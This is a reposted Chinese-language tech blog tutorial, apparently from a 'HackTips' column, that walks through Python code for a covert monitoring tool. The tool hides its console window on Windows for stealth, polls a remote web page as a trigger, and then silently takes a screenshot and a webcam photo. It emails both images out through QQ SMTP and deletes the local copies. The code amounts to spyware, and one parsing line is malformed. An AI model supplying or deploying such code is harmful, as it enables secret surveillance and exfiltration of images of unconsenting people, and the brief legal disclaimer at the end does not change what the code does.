前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >Python监控电脑开机并拉起摄像头捕获内容发送至邮箱

Python监控电脑开机并拉起摄像头捕获内容发送至邮箱

作者头像
C4rpeDime
发布2024-10-16 18:30:26
发布2024-10-16 18:30:26
13000
代码可运行
举报
文章被收录于专栏:HackTipsHackTips
运行总次数:0
代码可运行

随着信息技术的不断发展,我们可以通过自动化监控系统来检测计算机的使用情况,并在特定事件发生时触发通知。这篇文章将详细解释如何使用Python实现一个自动化的监控系统,该系统具备屏幕截图、摄像头拍摄以及通过电子邮件发送通知的功能。代码不仅可以实时监控,还能够根据外部网页的数据状态决定是否执行监控操作。

背景介绍

监控系统的应用场景非常广泛。例如,企业中可以使用监控系统来防止未经授权的人员访问某些重要设备,个人用户则可以通过它监控电脑的使用状态,并接收到相应的通知。在本文中,我们使用Python结合如pyautoguiOpenCVsmtplib等来构建一个简单但功能齐全的系统,能够完成以下任务:

  1. 截取屏幕截图并保存到本地;
  2. 使用摄像头拍摄图像;
  3. 通过电子邮件发送通知,附带截图和拍摄的图像;
  4. 实时监测网页数据,根据特定条件触发上述操作。

关键技术实现

基本的库导入

代码语言:javascript
代码运行次数:0
复制
import ctypes
import sys
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.header import Header
import pyautogui
import os
import cv2
import socket
import time
import requests
from bs4 import BeautifulSoup
  • ctypes:用于隐藏控制台窗口,仅在Windows系统上生效。
  • sys:检查操作系统类型。
  • smtplibemail.mime等模块:负责发送带有附件的电子邮件。
  • pyautogui:用于捕获屏幕截图。
  • os:处理文件路径及操作系统相关任务。
  • cv2:使用OpenCV来捕获摄像头图像。
  • socket:用于检查网络连接状态。
  • time:用于设置任务的时间间隔。
  • requestsBeautifulSoup:用于从网页提取数据,作为触发监控的条件。

隐藏控制台窗口

为了提高程序的隐蔽性,程序在Windows系统上启动时隐藏控制台窗口。

代码语言:javascript
代码运行次数:0
复制
if sys.platform.startswith('win'):
    SW_HIDE = 0
    info = ctypes.windll.kernel32.GetConsoleWindow()
    if info != 0:
        ctypes.windll.user32.ShowWindow(info, SW_HIDE)

这个部分使用了Windows API,通过ctypes库隐藏了控制台窗口,确保程序可以在后台悄无声息地运行。

邮件发送配置

系统设计的核心功能之一是通过邮件发送通知。为此,我们需要配置邮件服务器信息:

代码语言:javascript
代码运行次数:0
复制
smtp_info = {
    'server': 'smtp.qq.com',
    'port': 465,  # 使用SSL加密端口
    'username': 'your-email@qq.com',  # 替换为你的邮箱地址
    'password': 'your-password',  # 替换为你的邮箱授权码
}

程序使用QQ邮箱的SMTP服务器,并通过SSL端口发送邮件。这里需要注意的是,邮箱密码通常使用的是授权码,而不是登录密码。

捕获屏幕截图和摄像头图像

系统具备自动截屏和摄像头拍摄功能,分别使用pyautogui和OpenCV来实现。

代码语言:javascript
代码运行次数:0
复制
def capture_screenshot(path):
    pyautogui.screenshot(path)
    print(f"屏幕截图已保存至{path}")
代码语言:javascript
代码运行次数:0
复制
def capture_image_from_camera(path):
    cap = cv2.VideoCapture(0)
    if cap.isOpened():
        ret, frame = cap.read()
        cap.release()
        if ret:
            cv2.imwrite(path, frame)
            print(f"摄像头图像已保存至{path}")
        else:
            print("捕获图像失败")
    else:
        print("无法打开摄像头")
  • capture_screenshot(path):使用pyautogui截取当前屏幕,并将图片保存到指定路径。
  • capture_image_from_camera(path):使用OpenCV打开摄像头,并捕获一帧图像,保存到指定路径。

发送带有附件的电子邮件

捕获截图和摄像头图像后,系统会将这些文件作为附件,通过邮件发送给用户。

代码语言:javascript
代码运行次数:0
复制
def send_email_with_attachments(screenshot_path, camera_capture_path):
    msg = MIMEMultipart()
    msg['From'] = Header(sender_receiver)
    msg['To'] = Header(sender_receiver)
    msg['Subject'] = Header(subject)
    msg.attach(MIMEText(body, 'plain', 'utf-8'))

    # 添加附件
    for path in [screenshot_path, camera_capture_path]:
        with open(path, 'rb') as file:
            part = MIMEImage(file.read(), name=os.path.basename(path))
            msg.attach(part)

    try:
        with smtplib.SMTP_SSL(smtp_info['server'], smtp_info['port']) as server:
            server.login(smtp_info['username'], smtp_info['password'])
            server.sendmail(sender_receiver, sender_receiver, msg.as_string())
            server.quit()
        print("邮件发送成功,包含屏幕截图及摄像头捕捉图像!")
    except Exception as e:
        print(f"邮件发送失败: {e}")

网页内容监控

系统通过检查指定网页上的数据值来决定是否触发截图和拍摄。requests库用于发起网页请求,BeautifulSoup用于解析网页内容。

代码语言:javascript
代码运行次数:0
复制
def check_url():
    global last_value
    try:
        response = requests.get(url, timeout=5)
        if response.status_code == 200:
            soup = BeautifulSoup(response.text, 'html.parser')
            info_div = soup.find('div class_='info')
            if info_div:
                span_text = info_div.find('span', class_='tit').text.strip()
                if span_text == f"【{target_value}】" and span_text != last_value:
                    last_value = span_text
                    return True
            else:
                return False
    except requests.RequestException as e:
        print(f"请求错误:{e}")
        return False

该函数会定期从网页中抓取数据,并与目标值进行比较,当发现匹配时,执行后续操作。

主循环逻辑

代码语言:javascript
代码运行次数:0
复制
def main():
    global last_value
    last_value = None
    while True:
        if check_url():
            capture_screenshot(screenshot_path)
            capture_image_from_camera(camera_capture_path)
            
            if not is_connected():
                time.sleep(60)
                continue
            
            send_email_with_attachments(screenshot_path, camera_capture_path)
            os.remove(screenshot_path)
            os.remove(camera_capture_path)
        time.sleep(20)

main()函数是整个程序的控制中心。它使用一个无限循环,每隔20秒检查一次网页内容,如果检测到目标条件触发(例如特定数值),则截图、拍摄并发送邮件。

总结

本文展示了如何利用Python构建一个自动化监控系统,该系统能够定期检查网页信息,在符合条件时执行捕捉和通知任务。此类系统具有广泛的应用前景,可以用于远程监控、信息安全、家庭安防等多个领域。

但需要注意的是,该系统涉及隐私和安全问题,使用时需遵循当地的法律法规,确保不侵犯他人隐私。

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系转载前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 背景介绍
  • 关键技术实现
    • 基本的库导入
    • 隐藏控制台窗口
    • 邮件发送配置
    • 捕获屏幕截图和摄像头图像
    • 发送带有附件的电子邮件
    • 网页内容监控
    • 主循环逻辑
  • 总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档